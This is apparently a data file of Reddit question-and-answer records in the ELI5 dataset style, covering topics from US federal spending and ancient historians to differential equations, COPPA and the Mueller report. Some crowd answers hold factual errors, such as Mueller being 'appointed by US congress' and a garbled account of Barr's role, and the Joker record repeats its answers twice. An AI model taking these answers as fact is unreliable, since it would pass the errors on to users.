{"q_id": "15pe1g", "title": "how current us government spending compares to historical governmental spending?", "selftext": "Can someone provide some historical context on how current U.S. government spending compares to historical spending from our and other countries? (or point me to articles or a book that would answer my question?)\n\nI did find and read [this article](_URL_0_), but I'm particularly interested in a claim made by a relative that government spending at 19% of GDP isn't sustainable historically.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/15pe1g/eli5_how_current_us_government_spending_compares/", "answers": {"a_id": ["c7ol61i", "c7olhqd"], "score": [3, 2], "text": ["Check out [This Time is Different](_URL_0_).\n\nLots of charts and tables and whatnot, which I love. But, if you aren't into that, it's still pretty accessible. Great read.", "Using straightforward numbers, we're spending more federally than we ever had (except for WWII).  [This chart](_URL_1_) explains it well.  For a bit more recent numbers, [see here](_URL_0_).  Intrestingly, taxes are also very low.\n\n > but I'm particularly interested in a claim made by a relative that government spending at 19% of GDP isn't sustainable historically.\n\nSure it is.  It depends on what your priorities are.  The only reason we spent 20% in the 1950s through the 1980s was defense.  By the 1990s, that dropped down.  Lately, entitlement spending such as Social Security, Medicare, Medicaid, unemployment benefits, etc are driving spending back up.  If we made a decision not to spend money on defense in the 1950s through 1980s, we would have been well below 20%.  If we make a decision to reform entitlements, we can get that number below 20%.  \n\nThe article makes some claims I personally find annoying.  Specifically, the claim that government spending falling consistently.  Federal spending has spiked.  Now it's *slowly* trailing off relative to the economy.  Sure it's technically true that government spending relative to the economy is shrinking, but it's still at historically high levels.  The other claim is showing a graph of federal spending stopping at 2008.  2008 is when it spiked.  In my opinion, the author of that article is deliberately withholding important data.  \n\n > government is actually slightly smaller today than it has been on average in the postwar era.\n\nThis claim is flatly false.  aragorn18's chart shows that  \n\n\n"]}, "title_urls": [], "selftext_urls": ["http://economix.blogs.nytimes.com/2012/07/27/big-government-isnt-so-big-by-historical-standards-its-also-shrinking/"], "answers_urls": [["http://www.amazon.com/This-Time-Different-Centuries-Financial/dp/0691152640"], ["http://2.bp.blogspot.com/-7M6Qk22TGko/UDMQywXhifI/AAAAAAAARVM/AUKK51HNBPM/s1600/Governemnt%2BSpending%2Bas%2BPercent%2Bof%2BGDP%2B-%2BFederal.png", "http://consultingbyrpm.com/wp-content/uploads/2012/05/2012.05-Fed-Spending-and-Receipts.png"]]}
{"q_id": "235fv1", "title": "What motivated ancient scholars to BE scholars?", "selftext": "Here I am, an academic in the 21st century who loves the pursuit of knowledge. But put that aside, and my motivations for being an academic could be said to be economic. What kind of motivation was there to be an academic in ancient times? What was the payout? How did they survive?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/235fv1/what_motivated_ancient_scholars_to_be_scholars/", "answers": {"a_id": ["cgvt5jb"], "score": [2], "text": ["*(I've been wanting to answer this question since it was posted, but I couldn't find the time to formulate a proper response until now. I hope that you don't mind the delay and that you find this answer useful.)*\n\n-------\n\nWhat motivated ancient historians is relatively easy to answer, since they had a habit of explaining why they wrote their work in the first few pages. First though, I'd like to remark that being a historian was not a profession as such in ancient times. The historians we know of were either wealthy enough to spend their time writing (usually at the end of their career) or had a patron who was supporting them. They wrote their works out of interest or to flatter their patron. Usually the work was intended to lead to understanding about current events. Often it had a moral component to it, which sometimes even dominated the work. Xenophon's *Cyropaedia* for instance is ostensibly a biography of Cyrus the Great, but it is generally understood to give an idealized description, perhaps even to the point of describing an ideal ruler instead of the person Cyrus the Great.\n\nLet's look at what some of the most well-known ancient historians say about their own work.\n\n* Herodotus in his *Histories* wanted to record what were the grounds for the feud between the Greeks and the Persians.\n* Thucydides, writing on the Peloponnesian War, said he started writing his history at the start of the war, because he believed \"*that it would be a great war, and more worthy of relation than any that had preceded it*\" (1.1.1).\n* Xenophon's *Anabasis* is essentially a memoir of his time with the Greek mercenaries hired by Cyrus the Younger. His *Cyropaedia* (mentioned above) was written to understand how Cyrus the Great became to be such an excellent ruler: \"*Believing this man to be deserving of all admiration, we have therefore investigated who he was in his origin, what natural endowments he possessed, and what sort of education he had enjoyed, that he so greatly excelled in governing men. Accordingly, what we have found out or think we know concerning him we shall now endeavour to present.*\" (1.1.6)\n* Polybius - a Greek who went to Rome as a hostage and became a friend of Scipio Aemilianus - wrote his *Histories* to understand how Rome had succeeded in maintaining an empire whereas the Greeks (specifically the Spartans and the Macedonians) had failed to do so: \"*Can any one be so indifferent or idle as not to care to know by what means, and under what kind of polity, almost the whole inhabited world was conquered and brought under the dominion of the single city of Rome, and that too within a period of not quite fifty-three years?*\" (1.1)\n\nI'm less familiar with later historians, but this quote is of interest:\n >  Varro's *Antiquitates rerum divinarum* [a history of Roman religion - ed] of 47 BCE opens with a dedication to Julius Caesar, exhorting him to remedy the neglect of the Roman religion.\n(Edwards, p. 49)\n\nLivy, too, appears to have written his *Ab urbe condita* to turn his readers away from the degeneration of his times and towards the virtue of older times.\n\n---------------\n**Works mentioned:**\n\n* Herodotus, *Histories*\n* Thucydides, *A History of the Peloponnesian War*\n* Xenophon, *Anabasis* (also known as *The March of the Ten Thousand* or *The March Up Country*)\n* Xenophon, *Cyropaedia* (also known as *The Education of Cyrus the Great*)\n* Polybius, *Histories*\n* Livy, *Ab urbe condita* (also known as *History of Rome*)\n\n**Source used:**\n\n* C. Edwards, *Writing Rome: textual approaches to the city*, Cambridge 1996\n\n[*Edit: spelling, typography*]"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4b3hyq", "title": "Why would a thinner layer of compound mixture be better at the start of column chromatography?", "selftext": "I was told that it had something to do with the effective separation of the components in that mixture but i could not reason it out with myself.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4b3hyq/why_would_a_thinner_layer_of_compound_mixture_be/", "answers": {"a_id": ["d15sac7", "d15sjzy", "d168sya"], "score": [10, 2, 2], "text": ["If you apply your compound in a thick layer of solvent, the compound at the bottom has a head start over the compound at the top. Basically, you are spreading out your compounds before you even start running the column. So, you will end up with much thicker bands running down the column instead of nice tight bands.", "If you are referring to the compound on the column packing it is to increase the surface area such that there are more affinity interactions with the sample and the packing. If you are referring to the sample size penspenspenspens is correct.", "Think of it this way. The column's mechanics imposes a transfer function on the input analyte that spreads out its components spatially. The thinner the initial layer, the sharper will be the separations possible."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "35l75h", "title": "why it seems to be the norm to make fun of neckbeards?", "selftext": "Why don't people see it as bullying? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/35l75h/eli5_why_it_seems_to_be_the_norm_to_make_fun_of/", "answers": {"a_id": ["cr5eugo", "cr5gi0r"], "score": [9, 3], "text": ["Well, straight white males area already the last group that it's entirely socially acceptable to denigrate. Add in the perceived anti-social behavior, fringe hobbies and interests, and possible lack of hygiene and good old human nature that hates everything it deems different, weak, or unattractive takes over.", "I think we need to separate different aspects of neckbeards here. \n\nWhen it comes to the physical attributes associated with them -- overweight, acne, bad facial hair, etc -- then that is bullying. Their appearance is not hurting anyone, so I would say it's nobody's business to say what is and isn't \"okay.\"\n\nWhen it comes to the more mental attributes -- high and mighty attitudes, pretentiousness, misogynistic -- then I think it is not bullying to say something to them. All of those attributes are negative and can hurt others. To call someone on bad behavior is not bullying."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "l9d7q", "title": "joker's philosophy (in the dark knight)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/l9d7q/eli5_jokers_philosophy_in_the_dark_knight/", "answers": {"a_id": ["c2qu0yx", "c2qu2wj", "c2qujkc", "c2qutlz", "c2qx1sb", "c2qy0nb", "c2r3n02", "c2qu0yx", "c2qu2wj", "c2qujkc", "c2qutlz", "c2qx1sb", "c2qy0nb", "c2r3n02"], "score": [7, 37, 38, 26, 3, 2, 2, 7, 37, 38, 26, 3, 2, 2], "text": ["That order is pointless, and anarchy is human nature. Also, burning things is fun!", "The Joker doesn't have a philosophy. He exists solely as a pure antagonist to Batman. He is balance. He only exists because Batman exists. They are yin and yang.\n\nELI5: Say you are in  elementary school and you play Horse (the basketball game) every day after school with your friends. You are the best player out of all your friends because you're really good at shooting 3 pointers. One day a new kid shows up to play and he's just as good as you, but he's really good at layups. You always end up being the last two players, and you both work on those shots that will mess up the other guy. You progressively get better and better at 3 pointers in order to beat him, and he gets better and better at layups in order to beat you. Neither of you would have driven yourselves to each extreme without the other spurring you on. No one would care if Basketball wasn't the sport of choice, and it doesn't matter who are the two best, just that there are two who are the best. Batman would not exist without the Joker, and visa versa.", "The Joker went crazy after a seriously screwed up personal loss ( nightmare level stuff) and he tries to break people down morally so he can prove his point that given a certain situation, anyone will be as crazy and \"evil\" as he is. He does this by terrorizing them and putting them in horrifying, impossible situations. He does this several times in the Dark Knight film: on his two new henchman ( kill each other, winner joins me), on the people ( blow up the other boat or get blown up) , on Batman ( choose who will live or die). He also did this to James Gordon in the award winning comic  \"The Deadly Joke\". Why is this so important? Because Batman is the one the Joker HASN`T been able to break down morally. Despite everything the Joker has done, Batman has never killed him. If Batman kills Joker, the Joker WINS. And Batman knows it. They`re both struggling to prove their principle is the valid one and to prove that the other has a wrong view of the world. This is why their fight is so important, so chemical, and has lasted so long. It`s a very very personal struggle. ", "alexthesock did a great job with his basketball analogy, but I really think the movie itself does an excellent job showing the Joker's insane illogical outlook on life. Alfred tells Bruce a story where he says...\n\n**Alfred Pennyworth:** A long time ago, I was in Burma, my friends and I were working for the local government. They were trying to buy the loyalty of tribal leaders by bribing them with precious stones. But their caravans were being raided in a forest north of Rangoon by a bandit. So we went looking for the stones. But in six months, we never found anyone who traded with him. One day I saw a child playing with a ruby the size of a tangerine. The bandit had been throwing them away.\n\n**Bruce Wayne:** Then why steal them?\n\n**Alfred Pennyworth:** Because he thought it was good sport. Because some men aren\u2019t looking for anything logical, like money. They can\u2019t be bought, bullied, reasoned or negotiated with. Some men just want to watch the world burn.\n\nThe Joker is especially scary because his actions can't be reasoned. He's not after money and he doesn't have an end goal. Hurting people and creating pandemonium is just a game to him. He loves that Batman exists because it gives him a challenge. That's the true measure of a nemesis. A person you despise, but can regard as a real threat. \n\nedit: formatting", "The world is a cold heartless place where bad things happen to good people.  The Joker is out to prove that those who think otherwise are the ones who are crazy.\n\nAs mentioned before, you will definitely want to check out \"The Killing Joke,\" or even just do a youtube search for \"joker killing joke monologue\" to get the gist.  ", "The Joker: The epitome of Nirvana/Nihilism. He has no attachment to anything, not money, not power, not fame.\n\nBatman: The epitome of Establishment/Society. He has attachment to Law, Order, Justice.\n\nThese two are extreme contrasts on a philosophical level. Joker sees no life as different. Everyone is equal in terms of whether or not they should exist, criminal or not, child or not. Killing isn't *evil* because it's something that was going to occur in nature in either case. The death of a politician is not different than the death of a gang-banger. If Ghandi, or Martin Luther King Jr., or Jesus, said this (sorry for using them as examples if offensive) then you would praise them and agree with them.\n\nJoker sees it as one 'death' should not cause any more grief than any other. Why is it that he's termed 'evil' when he wants to kill one politician, but nobody calls the 'establishment' evil when they have corrupt cops killing gangsters? The Joker simply points out the hypocrisy of the way life is.\n\nBatman *also* sees the hypocrisy, but he goes about changing it in a completely different way than Joker. He will be the epitome of Justice and correct all wrong-doing, even if it means putting corrupt cops behind jail and ruining the establishment. \n\nThis is why the Joker sees Batman as his only counter-part and why he intrigues him so much. Batman is exactly like the Joker, they see all life as equal, they just see it from a different view point. \n\nJoker says, no matter who you are, you will die. \n\nBatman says, no matter what you've done, you will live. \n\nBoth see human lives as equal. There is no distinction between humans based on emotions, all life is sacred.\n\n* Throughout the film you see Joker's opinion of Batman change. In the beginning when he knows of Batman, he simply says, \"Kill Batman\"... then when he has the opportunity to kill him (when he's saving Dent he could have killed him) he never does. He won't choose to, because he's amazed that Batman is his equal. He will never kill him.\n\nWatch the \"Hit me\" Scene where Batman charges Joker on his bike, Joker can kill him, he won't. Joker has the ammo in his gun, but he uses on civilians (in cars) to get them out of the Batman's way. Then, when the streets are clear, he drops his gun to his side and stands there, waiting to see corruption/emotion overtake Batman. It doesn't.\n\nWatch the interrogation scene where he explains himself to the Batman. ", "[This explains it pretty well.](_URL_0_)", "That order is pointless, and anarchy is human nature. Also, burning things is fun!", "The Joker doesn't have a philosophy. He exists solely as a pure antagonist to Batman. He is balance. He only exists because Batman exists. They are yin and yang.\n\nELI5: Say you are in  elementary school and you play Horse (the basketball game) every day after school with your friends. You are the best player out of all your friends because you're really good at shooting 3 pointers. One day a new kid shows up to play and he's just as good as you, but he's really good at layups. You always end up being the last two players, and you both work on those shots that will mess up the other guy. You progressively get better and better at 3 pointers in order to beat him, and he gets better and better at layups in order to beat you. Neither of you would have driven yourselves to each extreme without the other spurring you on. No one would care if Basketball wasn't the sport of choice, and it doesn't matter who are the two best, just that there are two who are the best. Batman would not exist without the Joker, and visa versa.", "The Joker went crazy after a seriously screwed up personal loss ( nightmare level stuff) and he tries to break people down morally so he can prove his point that given a certain situation, anyone will be as crazy and \"evil\" as he is. He does this by terrorizing them and putting them in horrifying, impossible situations. He does this several times in the Dark Knight film: on his two new henchman ( kill each other, winner joins me), on the people ( blow up the other boat or get blown up) , on Batman ( choose who will live or die). He also did this to James Gordon in the award winning comic  \"The Deadly Joke\". Why is this so important? Because Batman is the one the Joker HASN`T been able to break down morally. Despite everything the Joker has done, Batman has never killed him. If Batman kills Joker, the Joker WINS. And Batman knows it. They`re both struggling to prove their principle is the valid one and to prove that the other has a wrong view of the world. This is why their fight is so important, so chemical, and has lasted so long. It`s a very very personal struggle. ", "alexthesock did a great job with his basketball analogy, but I really think the movie itself does an excellent job showing the Joker's insane illogical outlook on life. Alfred tells Bruce a story where he says...\n\n**Alfred Pennyworth:** A long time ago, I was in Burma, my friends and I were working for the local government. They were trying to buy the loyalty of tribal leaders by bribing them with precious stones. But their caravans were being raided in a forest north of Rangoon by a bandit. So we went looking for the stones. But in six months, we never found anyone who traded with him. One day I saw a child playing with a ruby the size of a tangerine. The bandit had been throwing them away.\n\n**Bruce Wayne:** Then why steal them?\n\n**Alfred Pennyworth:** Because he thought it was good sport. Because some men aren\u2019t looking for anything logical, like money. They can\u2019t be bought, bullied, reasoned or negotiated with. Some men just want to watch the world burn.\n\nThe Joker is especially scary because his actions can't be reasoned. He's not after money and he doesn't have an end goal. Hurting people and creating pandemonium is just a game to him. He loves that Batman exists because it gives him a challenge. That's the true measure of a nemesis. A person you despise, but can regard as a real threat. \n\nedit: formatting", "The world is a cold heartless place where bad things happen to good people.  The Joker is out to prove that those who think otherwise are the ones who are crazy.\n\nAs mentioned before, you will definitely want to check out \"The Killing Joke,\" or even just do a youtube search for \"joker killing joke monologue\" to get the gist.  ", "The Joker: The epitome of Nirvana/Nihilism. He has no attachment to anything, not money, not power, not fame.\n\nBatman: The epitome of Establishment/Society. He has attachment to Law, Order, Justice.\n\nThese two are extreme contrasts on a philosophical level. Joker sees no life as different. Everyone is equal in terms of whether or not they should exist, criminal or not, child or not. Killing isn't *evil* because it's something that was going to occur in nature in either case. The death of a politician is not different than the death of a gang-banger. If Ghandi, or Martin Luther King Jr., or Jesus, said this (sorry for using them as examples if offensive) then you would praise them and agree with them.\n\nJoker sees it as one 'death' should not cause any more grief than any other. Why is it that he's termed 'evil' when he wants to kill one politician, but nobody calls the 'establishment' evil when they have corrupt cops killing gangsters? The Joker simply points out the hypocrisy of the way life is.\n\nBatman *also* sees the hypocrisy, but he goes about changing it in a completely different way than Joker. He will be the epitome of Justice and correct all wrong-doing, even if it means putting corrupt cops behind jail and ruining the establishment. \n\nThis is why the Joker sees Batman as his only counter-part and why he intrigues him so much. Batman is exactly like the Joker, they see all life as equal, they just see it from a different view point. \n\nJoker says, no matter who you are, you will die. \n\nBatman says, no matter what you've done, you will live. \n\nBoth see human lives as equal. There is no distinction between humans based on emotions, all life is sacred.\n\n* Throughout the film you see Joker's opinion of Batman change. In the beginning when he knows of Batman, he simply says, \"Kill Batman\"... then when he has the opportunity to kill him (when he's saving Dent he could have killed him) he never does. He won't choose to, because he's amazed that Batman is his equal. He will never kill him.\n\nWatch the \"Hit me\" Scene where Batman charges Joker on his bike, Joker can kill him, he won't. Joker has the ammo in his gun, but he uses on civilians (in cars) to get them out of the Batman's way. Then, when the streets are clear, he drops his gun to his side and stands there, waiting to see corruption/emotion overtake Batman. It doesn't.\n\nWatch the interrogation scene where he explains himself to the Batman. ", "[This explains it pretty well.](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://www.thehighdefinite.com/wp-content/uploads/2010/08/4jgxS.jpg"], [], [], [], [], [], [], ["http://www.thehighdefinite.com/wp-content/uploads/2010/08/4jgxS.jpg"]]}
{"q_id": "33vurk", "title": "Why is the solution of a second order, linear, ordinary differential equation the linear combination of two linearly independent solutions?", "selftext": "Let's say that we have a second order, linear, homogenous, ordinary differential equation y'' + a(t)*y' + b(t)*y = 0. The general solution of this equation is Y=c1*g(t) + c2*h(t), where g(t) and h(t) are both solutions to the equation, and g(t) and h(t) are linearly independent. My question is this: Why is the general solution a linear combination of TWO linearly independent particular solutions? Why not a linear combination of three, four, or five linearly independent particular solutions? Thanks in advance to the mathematicians of reddit.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/33vurk/why_is_the_solution_of_a_second_order_linear/", "answers": {"a_id": ["cqoyqwb", "cqoyvx9", "cqoyx96", "cqptwpg"], "score": [10, 8, 11, 3], "text": ["Because it's only a second order DE.  There *aren't* 3 linearly independent solutions.", " > The general solution of this equation is Y=c1g(t) + c2h(t), where g(t) and h(t) are both solutions to the equation, and g(t) and h(t) are linearly independent. \n\nThe vector space of solutions to a 2nd order equation has dimension two, thus there cannot be more than two linearly independent solutions.", "In general a linear nth-order homogeneous ODE is a linear combination of n linearly independent solutions.\n\nLet's stick to the 2nd-order case. One way to think about a 2nd-order linear ODE is as system of two first-order ODEs, \n\ny' = x\n\nx' = -a(t)x - b(t)y\n\nIf you solve for and substitute x you see it's the same 2nd-order ODE, but this form lets us see it as a pair of functions whose derivatives depend on function values. Hence the derivatives are all on the left side.  Now we can envision the solution as a parametric curve [x(t), y(t)] in the cartesian plane. The equations give us a \"vector\" at every point x0, y0, and this vector points in the direction of the solution curve [x(t), y(t)] that has x0, y0 as the initial condition, x(0) = x0 and y(0) = y0. In other words, we can choose x0 and y0 however we wish (in convenient cases anyway) and the solution curve x(t), y(t) is then completely determined. In other words, every solution is characterized by a pair of real numbers and every pair of numbers uniquely characterizes a solution. Moreover it need not be x(0) and y(0) that characterize the solutions. It could be some other numbers r, s, where x0 = 5\\*r + 38s and y0 = -2r + 9s, or something.\n\nAnother way to think about this is the 2nd order ODE works for any choice of y(0) and y'(0) (since x was just y'). Solving the 2nd order ODE for y'' shows the \"acceleration\" is determined completely by what y and y' are doing, so we can pick those two numbers arbitrarily (in nice enough cases).\n\nOn top of that, the ODE is linear, so if u and v are solutions then so is a\\*u + b\\*v for any choice of a, b. If u and v are linearly *dependent* then u = c\\*v (or vice versa) for some constant c and we find a\\*u + b\\*v = (ac + b)\\*v. This means the constants a, b produce the same solution as the constants 0, ac + b. But previously we saw pairs of numbers yield *unique* solutions. So having u, v being linearly dependent doesn't cut it, there's more \"solution\" out there to be explored by starting with two solutions that aren't just a multiple of one another (i.e. linearly independent).", "I'll try to be short and sweet in the answer. \n\nThe Picard-Lindel\u00f6f theorem tells you that for an n-th order system you have a unique solution for every initial data (the first n-1 derivatives, including the zeroth order). The set of all admissible initial data is an n-dimensional vector space. Because the equation is linear, this then gives n-dimensions worth of solutions, one per initial data."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "5zlf1z", "title": "Did any Russian circuses actually manage to get a bear to ride a unicycle? How did this image become so widespread and popular?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5zlf1z/did_any_russian_circuses_actually_manage_to_get_a/", "answers": {"a_id": ["deza0o5"], "score": [109], "text": ["There actually exists a pretty long tradition of public shows that used trained bears in Russia. \n\nHere, for example, is [a painting done sometime in the last decade of the 19th century depicting a bear \"show\" (in this case a fight) by a Russo-Ukrainian painter Mykola (Nikolai) Samokysh.](_URL_2_) The bear trainers were a specific profession, sort of one of sub-sets of Russian harlequins (called skomorokhs), and the shows themselves most often were either fights (either bear vs bear, or man vs bear), bear baiting (either with hounds, or other bears), and comedy (the closest thing to the traditional circus). The comedy bears were mostly the ones that were born in captivity or semi-captivity and trained (some were blinded and de-clawed) for the purpose, while for the other types wild or semi-wild (that is, born in the wild, but trained since young age) bears were used. \n\nThis tradition was evidently popular enough in Russia and didn't really subside until the second half of the 19th century (Pushkin, for example, was one of the Russian writers to mention it in some of his works). \n\nWe know that the tradition existed as early as mid-1500s at the least, and the comedies in particular were known to be practiced at least since the 1600s, but most likely earlier. \n\nSome circuses in Russia still use trained bears as part of their shows (including the unicycle), although it is not quite the same thing as the traditional bear shows, which were largely outlawed by the 1860s, although they took until the first two decades of the the 20th century to die out completely. They mostly use bears from zoos and have been locking horns with the animal rights activists more and more in the last few decades. \n\nI can't find any sources in English I'm afraid, but there is some scholarship in Russian. \n\n* [Royal Hunts in Rus'](_URL_1_) (3 tomes, written between 1896 and 1900). - the only source I could find that was available online (no translation, as far as I know). \n\n* [An article from Saint Petersburg Vedomosti from 2 months ago, covering the more recent history of bears in Russian circuses and the issues with the conflict with animal rights groups](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://spbvedomosti.ru/news/obshchestvo/khozyaeva_areny/?sphrase_id=66944", "http://dlib.rsl.ru/viewer/01002371249#?page=1", "https://upload.wikimedia.org/wikipedia/commons/thumb/3/3d/Kutepov%27s_hunting_V.1_-_page_104a.jpg/768px-Kutepov%27s_hunting_V.1_-_page_104a.jpg?uselang=ru"]]}
{"q_id": "6txz8w", "title": "American bases in the Pacific I can use for my story!", "selftext": "My story takes place in 1941. What are some military bases in the Pacific that I could use in my story? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6txz8w/american_bases_in_the_pacific_i_can_use_for_my/", "answers": {"a_id": ["dlohncl"], "score": [3], "text": ["By 1941 and the run up to war the US had several dozen bases across the 1/2 of the world represented by the Pacific. Everything from the great fleet base at Pearl, to smaller outposts like Wake or Guam and the Philippines, to outposts in paradise like Pago Pago.\n\nWhat kind of base does it need to be, how big, what king of facilities, US/European Men and women present, any natives? Does it have to have routine and large amounts of ship traffic, or a tiny speck of coral with a shallow harbor and an rough airstrip?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8q1zh5", "title": "why do some products such as cream come in \u201cfor men\u201d and \u201cfor women\u201d. is there a biological reason or is it just marketing?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8q1zh5/eli5_why_do_some_products_such_as_cream_come_in/", "answers": {"a_id": ["e0fsuc8", "e0fxrtw", "e0gm4hg"], "score": [23, 6, 2], "text": ["In most cases it's just marketing.\n\nIn some cases it's because of consumer preferences, for example, more women than men enjoy wearing a rose scent.\n\nIn some cases there are real differences, for example, multivitamins for women need more iron.", "Mostly, it's the fragrance and packaging that differentiates the products. There may be some slight variation in formulations based on general body chemistry of men vs. women, or body part likely used on, but it's mostly what it smells like.", "Men's skin is typically thicker, with larger pores and more hair.  \nThere are different scent profiles for men.  Softening agents, for hair or skin, can work wonders on beardy face or rough hands but not needed on already soft smooth female faces.  Guys generally don't want to \"glow, sparkle or shine\" but women do.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "7pwr4n", "title": "why is that sometimes when i\u2019m sharpening a pencil with an electric sharpener, it gets really sharp but if you push the tip in one direction even slightly the graphite tip falls out? then no matter how many times i resharpen it, it won\u2019t sharpen correctly.", "selftext": "Bonus points if you know a life hack to get around this lol, it\u2019s very annoying for those of us not on the mechanical pencil train.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7pwr4n/eli5_why_is_that_sometimes_when_im_sharpening_a/", "answers": {"a_id": ["dsknval", "dsljcdh", "dslkz0q"], "score": [28, 2, 2], "text": ["It's possible you may have dropped the pencil.\n\nWhen you drop a pencil (especially colored pencils, funny enough), the graphite can shatter. Now you have a long tube full of broken graphite pieces that easily break off once they've been exposed by the sharpener.\n\nSource: My high school art teacher. She flipped her wig any time she heard a pencil drop.", "It may have to do with the sharpening angle, as depending the angle the pencil has it will have a different lenght from the point of rupture to the extreme. If this hypothesis is correct, then the momentum would increase depending of the sharpening angle. Therefore: with a short angle (in the interior of the pencil) it would have a larger relative distance between the two further points of visible lead, making this way a further momentum and applying a higher tangential tension. \n\nOf course, as MosesIRL said, if the graphite is shattered it won't have anymore it's previous properties that allowed it to undergo the common tangential tension, so it will break before.\n\nIt is an hypothesis, but has much to do with what I'm currently studying in elasticity, so much that I'm having a headache trying to resolve it with the Mohr circle.\n\n", "Many times when the lead breaks off in the sharpener, the tip remains in it.  \n\nSo when you put the pencil in again to sharpen it, you cant quite push it in far enough to get that fine point, because there is still a bit of old lead in that spot. \n\nUnplug it, and examine it to be sure it\u2019s path is clear all the way in and through. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "e3b3j4", "title": "can someone explain what coppa is and why they have the power to fine youtube creators $40,000+?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e3b3j4/eli5_can_someone_explain_what_coppa_is_and_why/", "answers": {"a_id": ["f922wbc", "f925if7", "f92nk4f", "f92p5v8", "f92t3zd"], "score": [44, 182, 22, 10, 2], "text": ["Children's Online Privacy Protection Act. It's grossly outdated and ridiculous. The tldr is from my understanding, if your video is deemed at any point to be \"for children\" which is a wide scope of things including video games, animation, the word yah(yes seriously, this is considered a kids word according to the law), bright colours etc and youve marked your video as \"not for kids\" then you will get fined 42k PER video.", "COPPA is a law, intended to protect children under 13 from people gathering their personal information without parental permission. Violating the law allows the FTC to sue the violator for up to \\~$40,000 per offence.\n\nThe FTC have decided to treat channel operators on Youtube like they were running a website on a host. Since Youtube collects data of viewers and serves ads based on that data, if a person who's making content for children doesn't mark the content as for children, those children's personal data is being collected without parental permission. The FTC is treating Youtube as offering a service to the channel owner.\n\nIt's a very legally dubious stance that came out of a settlement between Youtube and the FTC, passing the buck for most of the responsibility to channel owners.", "youtube got caught red handed, admitting that they knew minors under 13 used the website. and were having their browsing data sold to companies just like 33 year olds.\n\n & #x200B;\n\nYoutube paid a RIDICULOUS fine.  hundreds of millions of dollars.   and after the settlement was done, they washed their hands of all responsibility, saying that going forward, content creators are responsible for marking their videos for kids, or not for kids.  and they gave absolutely no groundwork or explanation as to what would be considered for, or not.  they said that they legally could not say.", "Well coppa doesn't give people fines. It is the rule. The people who give the fines are the FTC. They can give fines because they are the police for this type of situation. \n\nThe rule is to protect kids from big companies taking notes on what they do and watch to try to make them think or buy certain things while the kids are still too young to determine the truth of situations. \n\nIts important for youtube because they have so many people making videos for them, they have to make sure there is a way to not collect this information if the videos are made for kids. This means they have to trust their video makers and/or use a computer to see if the videos are for kids.\n\nThis is all good so far, the reason it's a problem is the people making these videos make less money because the ad companies pay more money for ads on non kid videos because they have more information on what those people might buy. These kids videos are also more difficult to find. So you make less money per viewer and you get fewer viewers on each video. So to get around this some people are not marking kids videos to make more money which is when they get fined. \n\nMost people are too worried about the fines, but in reality the only fines that will be given, will be for people actually breaking the rule. The only real issue will be from youtube. They use computer programs instead of people and already don't do a good job following these rules and punish video makers who did nothing wrong. \n\nBasically you shouldn't worry about the FTC, you should worry about youtube messing up another computer program used to find the people breaking the rule.\n\nEdited: fixed a sentence", "What I don't fully understand in all of this, is why is it okay for TV stations that are aimed at kids to have adverts that target kids, but as it's on YouTube it's not okay? Obviously I don't condone YouTube collect kids data, but isn't it kinda the same thing? Can anyone explain why it's different?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "bjdcw3", "title": "can you describe the muller report and who this barr guy is?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bjdcw3/eli5_can_you_describe_the_muller_report_and_who/", "answers": {"a_id": ["em7cxi4", "em7d9gq"], "score": [6, 2], "text": ["The Mueller report is the culmination of the Investigation Led by Special counsel Robert Mueller, appointed by US congress, to investigate whether the 2016 elections were messed with by an outside force.  \n\n\nWilliam Barr is the Current US Attorney General Nominated by Trump, and confirmed on Feb 14th, after the Last Attorney General Jeff Sessions resigned Nov 7,2018.", "The US has this thing called the constitution. It lays out rules and laws for the entire US that states can build off of for their own rule and laws. A few of those have to do with being president and oversight (making sure everyone\u2019s following the rules). \n\nFor many years people who ran for this office acted from what is called a position of good faith (if elected, you\u2019ll do right be EVERYONE). Well, some guy recently ran and won and somehow the presidency. \n\nThis didn\u2019t sit right with some people and when it became a real possibility that there may have been people involved with our election process. This is a big No No! So people started asking questions and some of those answers required oversight. Even bigger questions came about, so the oversight people wanted help in getting answers to their questions. A lawyer named Muller was hired and asked to please find out if the election process was toyed with. \n\nHis report said some stuff, but that president didn\u2019t want to share the report and ask his lawyer (Barr) to stop it. Barr sent a short 4pg letter summarizing the 448pg report. This made many people mad. Now oversight wants more questions answered and we\u2019re currently discussing whether the lawyer for the congress reports to the US or the President (law says its to the US, so it\u2019s not much of a conversation though).\n\nNext time on...\n\n\nEdit: added a point by /u/iamthecheese007"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
